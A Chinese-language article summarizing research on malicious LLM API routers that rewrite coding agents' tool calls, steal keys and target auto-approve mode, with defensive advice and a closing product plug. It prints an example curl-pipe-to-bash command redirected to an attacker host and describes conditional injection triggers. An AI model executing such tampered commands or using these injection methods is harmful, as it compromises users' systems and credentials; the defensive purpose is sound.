AI Agent 自动批准工具调用有多危险？实测 401/440 会话被劫持，4 条今天就能用的自救法则

如果你在用 Claude Code、Codex 或 Cursor，并且开着「自动批准工具调用 / YOLO 模式」，请先停一下把它读完。

最近一篇由加州大学圣巴巴拉分校（UCSB）、圣地亚哥分校（UCSD）联合 Fuzzland 发表、投稿 ACM CCS 2026 的论文《Your Agent Is Mine》，把「AI 中转站 / API 路由器」这个开发者几乎每天在用的中间层，扒得底朝天。结论很刺耳：你以为的「便宜中转站」，可能正在默默改你 agent 要执行的命令。

一个实测数据：401/440 个会话在「自动批准」下被劫持

研究者从淘宝、闲鱼、Shopify 买来 28 个付费路由器，又从公开社区收集 400 个免费路由器，共 428 个 LLM API 路由器，系统性测试它们会不会在返回的 tool call 里动手脚：

9 个主动注入恶意代码（1 个付费、8 个免费）——把模型返回的「请执行这个命令」偷偷换成攻击者控制的脚本；
17 个窃取蜜罐凭证——静默扫描经过的明文流量里的 AWS key、GitHub PAT、以太坊私钥；
1 个直接转走 ETH——把一个测试钱包里的钱转走了；论文还引用了一个真实世界客户因此损失约 50 万美元的案例；
更隐蔽的「条件交付」攻击：等 50 次调用后才激活、只在检测到 YOLO 模式时注入、只针对特定语言项目——你测 30 次都正常，也不代表它安全。

但最值得开发者警惕的，是他们的「投毒实验」：

故意泄露一个 OpenAI key，结果被生成了 1 亿个 GPT-5.4 token、触发 7 个以上 Codex 会话；
部署 20 个弱配置诱饵路由器，收到来自 147 个 IP 的数万次未授权访问，处理了 20 亿个 token，暴露了 99 份凭证、横跨 440 个 Codex 会话；
其中 401 个会话正在 YOLO / 自动批准模式下运行——工具执行自动批准，攻击者甚至不需要「条件交付」这种高级技巧，最简单的载荷注入就够用。

为什么「自动批准」是放大器

LLM 路由器的本质是应用层反向代理。它要完成「收到你的请求 → 解析 → 转发给上游模型 → 把响应返回给你」的工作，就必须能读取你发送的一切：prompt、system prompt、工具定义、API key，以及模型返回的一切：tool call 参数、模型输出。

问题出在：客户端收到的 JSON，和模型实际输出的一致性，没有任何密码学保证。TLS 在这里是「逐跳加密」而非「端到端加密」——链路里每个节点都会终止 TLS 再向上游新建连接，中间人能看到并修改所有明文。

当你的 agent 收到一个 tool call（比如 curl -sSL https://合法工具.com/install.sh | bash），中间路由器可以把 URL 换成 https://攻击者.com/pwn.sh。你的 agent 会毫不犹豫地执行——因为 JSON 格式合法、工具名没变、参数结构没变，从 agent 视角看「一切正常」。

而自动批准 / YOLO 模式，等于把执行权无条件交了出去。中间层要的，恰恰就是这个执行权。

4 条今天就能用的自救法则

论文作者也给了可以在今天部署的客户端防御。结合一线开发者的实践，我把它浓缩成 4 条：

1. 关掉 YOLO / 自动批准（最高杠杆）

401/440 这个数据，直接点名了「自动批准」。哪怕只保留「高风险工具（Bash / shell_command）人工确认」，都能挡掉绝大多数注入。这是成本最低、收益最高的一条。

2. 给 agent 套沙箱

Claude Code 支持 OS 级沙箱（Linux 上 bubblewrap，macOS 上 Seatbelt），Codex 支持沙箱虚拟机。沙箱不能防止 tool call 被篡改，但能限制被篡改后的命令造成的破坏范围——哪怕命令变了，它也只能在沙箱里折腾。

3. 密钥进 secrets manager，绝不进明文文件

AI coding 工具的 session log 会记录它读到的所有文件内容，包括 .zshrc、.npmrc、.env 里的凭证。把这些凭证交给中间层，后果远超 API 账单——它是系统边界探测、是分发通道的劫持。把高权限密钥全部迁到 secrets manager，不要放在 agent 可访问路径上的明文里。

4. 把 BASE_URL 收回到「可验证合规」的网关

论文给出的核心建议很明确：能直连官方 API 就直连；必须用路由器时，选有明确公司实体、有隐私政策、有安全文档的品牌服务（论文点名 OpenRouter、ZenMux 一类），而不是淘宝或 Telegram 上的匿名卖家。匿名卖家的便宜，只能来自你不了解的成本削减。

怎么判断你的中转站是不是「可被验证」的那一类

把 BASE_URL 收回合规网关，关键是可验证。你可以用 4 个问题快速自检：

上游可查吗？ 流量最终打到模型厂商官方推理入口（如火山引擎官方 ark.cn-beijing.volces.com），还是某个不知名的「号池」或「逆向代理」？
数据不出境吗？ 请求链路在境内合规云上完成，不经过境外不明中转？
请求可追踪吗？ 每次调用在你的控制台账单里都有对应额度变动，不是「黑盒吞量」？
有实体、隐私政策、安全文档吗？ 出了事能找到负责人，而不是匿名店铺跑路？

拿 Yady 对照：上游是火山引擎官方 DeepSeek-V4-Flash、数据不出境、每次调用在控制台账单可追踪、有公司实体与隐私政策。这「可验证合规」四个字，是区分合规与黑灰产的分水岭。

结论：便宜 + 自动批准 + 匿名 = 三重雷

研究中那 428 个路由器，全部来自公开的灰色市场——这是「最可能有问题的人群」的便利样本，不能直接推广到所有企业级部署。但结论对普通开发者足够清晰：

低于官方价 2 折的 token，几乎不可能用正规货源覆盖成本；
开着自动批准去调未知中间层，等于把执行权交给一个你看不见的人；
把中间层数量降到最小、每一层保持可验证，是当下最现实的做法。

如果你正在用 Claude Code / Codex / Cursor 接大模型，今天就把 YOLO 关了，再把 BASE_URL 收回到一个你能验证的上游。你的代码、你的密钥、你的客户数据，不该经过一个你完全不了解的中间商。

---